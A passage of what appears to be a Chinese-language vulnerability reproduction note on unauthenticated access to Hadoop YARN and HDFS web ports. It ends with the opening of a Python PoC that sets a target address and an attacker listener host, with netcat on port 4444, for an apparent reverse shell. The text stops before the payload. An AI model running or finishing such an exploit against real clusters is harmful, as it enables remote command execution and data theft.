0x00 unauthorized-yarn(未授权访问)
1、简介
由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。主要 HDFS 和 MapReduce 的 WebUI 对应的服务端口。
其中比较重要的是 DataNode 默认端口 50075 开放的话,攻击者可以通过 hdsf 提供的 restful api 对 hdfs 存储数据进行操作。
————————————————
https://blog.csdn.net/weixin_43061533/article/details/111219083
2、影响版本
3.3.0 以下
3、搭建
4、复现
poc:
#!/usr/bin/env python
import requests
import sys
target = 'http://172.17.0.1:8088'#目标机ip
lhost = '192.168.124.9' ##将你的本地ip填在这里,使用nc监听4444端口